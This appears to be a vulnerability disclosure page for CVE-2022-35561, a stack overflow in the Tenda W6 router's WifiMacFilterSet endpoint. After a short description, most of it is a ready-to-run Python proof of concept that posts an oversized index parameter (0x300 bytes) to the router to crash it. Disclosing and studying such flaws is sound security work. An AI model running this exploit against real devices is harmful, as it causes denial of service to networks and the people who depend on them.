CVE-2022-35561: IOT/Tenda/W6/stackoverflow/WifiMacFilterSet at main · ilovekeer/IOT

Tenda W6 is an enterprise wireless AP router from Shenzhen Tenda Technology (Tenda) in China.

A stack overflow vulnerability exists in /goform/WifiMacFilterSet in Tenda W6 V1.0.0.9(4122) version, which can be exploited by attackers to cause a denial of service (DoS) via the index parameter.

import requests from pwn import *

burp0_url = “http://192.168.5.1/goform/WifiMacFilterSet” burp0_headers = {"Host":"192.168.5.1", "Content-Length":"295", "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8", "Origin":"http://192.168.5.1", "Referer":"http://192.168.5.1/main.html", "Accept-Encoding":"gzip, deflate", "Accept-Language":"en-US,en;q=0.9", "Cookie":"user=", "Connection":"close"}

data1="index="+’a’*0x300

requests.post(burp0_url,headers=burp0_headers,data=data1, verify=False,timeout=1)